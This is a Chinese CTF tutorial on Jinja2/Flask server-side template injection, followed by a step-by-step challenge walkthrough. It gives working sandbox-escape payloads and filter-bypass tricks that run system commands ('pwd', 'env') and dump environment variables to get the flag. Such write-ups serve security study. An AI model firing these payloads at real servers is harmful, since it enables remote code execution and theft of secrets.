CTF之服务器端模板注入(SSTI)与赛题

概念

定义

服务器端模板注入(Server-Side Template Injection)

服务端接受攻击者的输入,将其作为Web应用内容的一部分,在进行代码编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容,从而导致信息泄露、代码执行、GetShell等问题

模板引擎和渲染函数本身是没有漏洞的,该漏洞的产生原因在于程序员对代码的不严谨与不规范,导致了模板内容对用户可控,从而引发代码注入

主要框架

  • Python: jinja2、mako、tomado、django
  • Php: smarty、twig
  • Java: jade、velocaity

典型:动态欢迎语

引擎判断

Flask模版

Flask框架是python的Web开发框架,他使用的模板引擎是Jinja2

Flask中的渲染方法有两种:

  • render_template():用于渲染指定的文件
  • render_template_string():用于渲染一个字符串,是产生模板注入的主要函数

渲染引擎Jinja2会将{{xxx}}视为变量标识符,会将其中包含的内容作为变量处理,从而包裹的语句被执行

但是由于模板本身带有沙盒安全机制,有自己独立的代码执行环境,并不能实现任意代码执行

沙箱逃逸

当前对象所属的类没有想用的函数和方法,可以尝试找父类以及父类的其他子类,获取可利用的函数和方法

沙箱逃逸流程

  1. 找到变量对象所属的类
  2. 回溯基类
  3. 查看父类的所有子类
  4. 筛选可利用子类
  5. 构造Payload

可利用魔术方法

方法

描述

__class__

返回对象所属的类

__bases__ 或 __mro__

返回该类的所有父类

__subclasses__()

返回继承该类的所有子类

__init__

返回类的初始化方法

__globals__

返回当前位置所有可用的全局变量

可利用类和方法

Python3方法

os._wrap_close类(命令执行)

  • system方法 os.system('命令')
  • popen方法 os.popen('文件或命令).read()
Python2方法

file类(文件读取)

  • 用法:file('文件地址').read()
warnings类中的linecache方法
  • 用法:.__init__.func_globals['linecache'].os.popen('命令').read()}}
通用方法

__builtins__代码执行

该方法下存在eval__import__函数,都可以用于命令执行

很多类下都包含 __builtins__方法,如warnings.catch_warningsemail.header._ValueFormatter

如果有很多个类的情况下,可以写个脚本批量执行每个类的__builtins__方法,确定是否存在此方法,存在即可利用

  • 用法:类()._module.__builtins__.__import__.(os).popen('系统命令').read()}}

绕过方法

过滤  .
  • 可以用['']来代替
    • ['import'] === .import.
  • 可以使用attr()
    • 对象|attr('方法')
  • 可以使用getattr()
    • 对象getattr((),"方法")
过滤下划线_

编码绕过

  • 下划线hex编码后\x5f
  • 点编码后为\x2E
特殊字符过滤
  • 可用字符拼接绕过
    • 如system==='sys'+'tem' (加号可用可不用)
  • 用join拼接
    • 如system===attr(['sys','tem']|join)
取值中括号被禁用

可用__getitem__或pop来代替

魔术方法中括号被禁用

可用__getattribute__("方法")替代

CTF例题

某个实验性笔记网站允许用户输入名字生成动态欢迎语,但似乎存在安全隐患。你能找到藏在服务器上的FLAG1吗?

1. 引擎判断

输入:{{2+3}} ,返回

双括号内的内容执行了,下一步填入{{7*'7'}}检查返回结果

可以判断为是jinja2框架

由于双括号内的内容会执行,所以可以把要执行的方法放在双括号之间进行测试

2. 查看当前类

输入:{{''.__class__}}

注意__class__前要加上''.''代表一个对象

确定当前类名为 str

3. 查看父类

输入:{{''.__class__.__bases__}}

4. 查看父类的其他子类

输入:{{''.__class__.__bases__[0].__subclasses__()}}

注意{{''.__class__.__bases__}}返回的内容是个数组,所以如果想查看父类的其他子类时需要加上下标,比如这里是{{''.__class__.__bases__[0]}}

5. 确定可利用类

有很多类,我们需要判断出可利用的类有哪些

  • 方法一是直接检索常见的可利用类,比如warnings.catch_warnings
  • 方法二是可以写个脚本批量执行每个类的__builtins__方法,确定是否存在此方法,存在即可利用

这里我们先利用方法一,可以检索到存在warnings.catch_warnings

{{''.__class__.__bases__[0].__subclasses__()}}返回的内容同样是个数组,所以我们需要知道warnings.catch_warnings类在数组中的下标才可以利用,可以直接数出在第几个,也可以写个脚本跑出来:

# 全文复制到双引号内
list = "......".split(", ")cnt = 0
for className in list:if "warnings.catch_warnings" in className:breakelse:cnt += 1
print(cnt)

执行脚本输出166

输入:{{''.__class__.__bases__[0].__subclasses__()[166]}}

获取到可利用类

6. 具体利用与绕过

warnings.catch_warnings的一般利用方式为:

类()._module.__builtins__.__import__.(os).popen('系统命令').read()}}

所以输入的内容为:

{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__.__import__.(os).popen('系统命令').read()}}

可能会有一些字符被过滤,我们可以一步步尝试


输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module}},输出正常


输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__}},输出正常


输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__.__import__}},输出异常

__import__触发了过滤,属于特殊字符过滤,尝试绕过:

输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']}},输出正常


输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__'](os)}},输出异常

(os)触发了过滤,属于特殊字符过滤,尝试绕过:

输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s')}},输出正常


输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('pwd')}},输出正常


输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('pwd').read()}},输出正常

之后就可以执行任意命令了

搜寻了一阵,发现没有与flag相关的文件

flag还有可能藏在环境变量中!

输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').popen('env').read()}}

或者

输入:{{''.__class__.__bases__[0].__subclasses__()[166]()._module.__builtins__['__imp''ort__']('o''s').environ}}

成功找到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/915209.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/915209.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

除了某信,就是这款软件来替代了!

引言 哈喽,我是小索奇。有时候会有一个普遍的需求,想在几个设备之间传个文件或者发个消息,除了微信,想一想你还能用什么软件? 今天就是为了解决这个问题,给大家介绍一款软件 Localsend 来解决。 内容模块…

Vue2.x封装预览PDF组件

一、为什么用PDFObject插件? PDFObject 是一个轻量级的 JavaScript 库,主要用于在网页中嵌入和预览 PDF 文件。它通过简单的 API 调用,可以在浏览器中实现 PDF 文件的显示,而无需依赖任何插件。以下将详细介绍 PDFObject 的特点、…

undefined reference to ‘end‘

相关问题: 一、undefined reference to _exit undefined reference to ‘end‘ warning: _close is not implemented and will always fail 一、环境: ubuntu24.04实体机、 arm-none-eabi-gcc gcc version 13.2.1 20231009 (15:13.2.rel1-2) 二…

nginx定制http头信息

修改http响应头信息,相关Nginx模块:ngx_http_headers_moduleexpires语法:expires [modified] time;expires [modified] time;默认值:expires off;作用域:http, server, location, if in location用途:控制缓…

主机安全---开源wazuh安装

Wazuh 简介 Wazuh 是一款免费开源的终端安全监控平台,支持威胁检测、完整性监控、事件响应和合规性管理,适用于企业级安全运维场景。其核心组件包括: Wazuh Indexer:基于 OpenSearch 的日志存储与检索组件。Wazuh Server&#x…

GaussDB 数据库架构师修炼(四) 备份容量估算

1 影响备份容量关键要素业务总数据量备份数据保留周期备份周期备份数据的压缩比平均每天的新增数据量平均每天新增日志数据量2 备份容量的估算方法公式备份容量C = 自动全量备份容量C1 + 自动差量备份容量C2 + 自动日志归档 容量C3 &#xff…

《R for Data Science (2e)》免费中文翻译 (第0章) --- Introduction

写在前面 本系列推文为《R for Data Science (2e)》的中文翻译版本。所有内容都通过开源免费的方式上传至Github,欢迎大家参与贡献,详细信息见: Books-zh-cn 项目介绍: Books-zh-cn:开源免费的中文书籍社区 r4ds-zh-cn…

如何 ASP.NET Core 中使用 WebSocket

如何在 ASP.NET Core 中使用 WebSocket在现代 Web 应用程序中,WebSocket 连接非常流行且使用率极高。它可以帮助企业满足数字环境需求,并处理来自最终用户的实时数据。它还能提升生产力、输出率和用户体验。如果您还没有使用 WebSocket,那么您…

Python之--元组

定义是 Python 中内置的不可变序列。在 Python 中使用()定义元组,元素与元素之间使用英文的逗号分隔。元组中只有一个元素的时候,逗号也不能省略。元组的创建方式(1)使用()直接创建元…

工业相机GigE数据接口的优势及应用

工业相机不同的数据接口适用的应用场景也不同,选择合适的数据额接口,可大大提高效率。今天我们来看看常见的GigE接口的优势及应用。基于GigE Vision标准的千兆以太网(GigE)相机通过提供快速、灵活且成本效益高的成像解决方案&…

【53】MFC入门到精通——MFC串口助手(二)---通信版(发送数据 、发送文件、数据转换、清空发送区、打开/关闭文件),附源码

文章目录1 完整 功能展示2 添加控件变量及声明2.1 添加控件及变量2.2 SerialPortDlg.h: 头文件3 函数实现3.1 数据发送3.1.2 写数据、字符串转3.2 发送文件3.2.1 打开文件3.2.2 发送文件3.3 清空发送区4 完整MFC项目项下载1 完整 功能展示 串口通信助手 页面展示,功…

算法学习笔记:27.堆排序(生日限定版)——从原理到实战,涵盖 LeetCode 与考研 408 例题

堆排序(Heap Sort)是一种基于二叉堆数据结构的高效排序算法,由计算机科学家 J. W. J. Williams 于 1964 年提出。它结合了选择排序的思想和二叉堆的特性,具有时间复杂度稳定(O (nlogn))、原地排序&#xff…

I/O 多路复用select,poll

目录 I/O多路复用的介绍 多进程/多线程模型的弊端 网络多路复用如何解决问题? 网络多路复用的常见实现方式 常见的开源网络库 select详细介绍 select函数介绍 套接字可读事件,可写事件,异常事件 fd_set类型介绍 select的两次拷贝,两次遍历 se…

最终分配算法【论文材料】

文章目录一、最终分配算法1.1 平衡的情况1.2 不平衡的情况1.3 TDM 约束一、最终分配算法 上一步合法化后,group 的 TDM 情况大致分为两类,一类是平衡的,最大的一些 group 的 TDM 比较接近。另外一种情况就是不平衡的,最大的 group…

《大数据技术原理与应用》实验报告七 熟悉 Spark 初级编程实践

目 录 一、实验目的 二、实验环境 三、实验内容与完成情况 3.1 Spark读取文件系统的数据。 3.2 编写独立应用程序实现数据去重。 3.3 编写独立应用程序实现求平局值问题。 四、问题和解决方法 五、心得体会 一、实验目的 1. 掌握使用 Spark 访问本地文件和 HDFS 文件的…

机器学习漫画小抄 - 彩图版

斯坦福机器学习漫画小抄,中文版来啦! 下载地址: 通过网盘分享的文件:机器学习知识点彩图版.pdf 链接: https://pan.baidu.com/s/1-fH9OpC_u_OrTqWy6gVUCA 提取码: 246r

1.初始化

业务模块核心技术栈业务(亮点)解决方案课程安排01 认识Vue3为什么需要学Vue3?Vue3组合式API体验Vue3更多的优势2 使用create-vue搭建Vue3项目认识 create-vue使用create-vue创建项目3 熟悉项目目录和关键文件项目目录和关键文件4 组合式API - setup选项…

Milvus分布式数据库工作职责

主导腾讯云Milvus服务化项目,设计多租户隔离方案,支撑日均10亿向量请求,延迟降低40%。优化IVF_PQ索引构建流程,通过量化编码压缩使内存占用减少60%,QPS提升35%。开发基于Kubernetes的Milvus Operator,实现自…

FMEA-CP-PFD三位一体数字化闭环:汽车部件质量管控的速效引擎

FMEA-CP-PFD三位一体数字化闭环:汽车部件质量管控的速效引擎 全星FMEA软件系统通过​​FMEA(失效模式分析)、CP(控制计划)、PFD(过程流程图)三大工具的一体化协同管理​​,为汽车部件…

VUE2 学习笔记1

目录 VUE特点 文档tips 开发者工具 从一个Hello world开始 hello world Demo 容器和实例的对应关系 差值语法{{}} VUE特点 构建用户界面:可以用来把数据构建成用户界面。 渐进式:自底向上,可以先从一个非常轻量级的框架开始&#xf…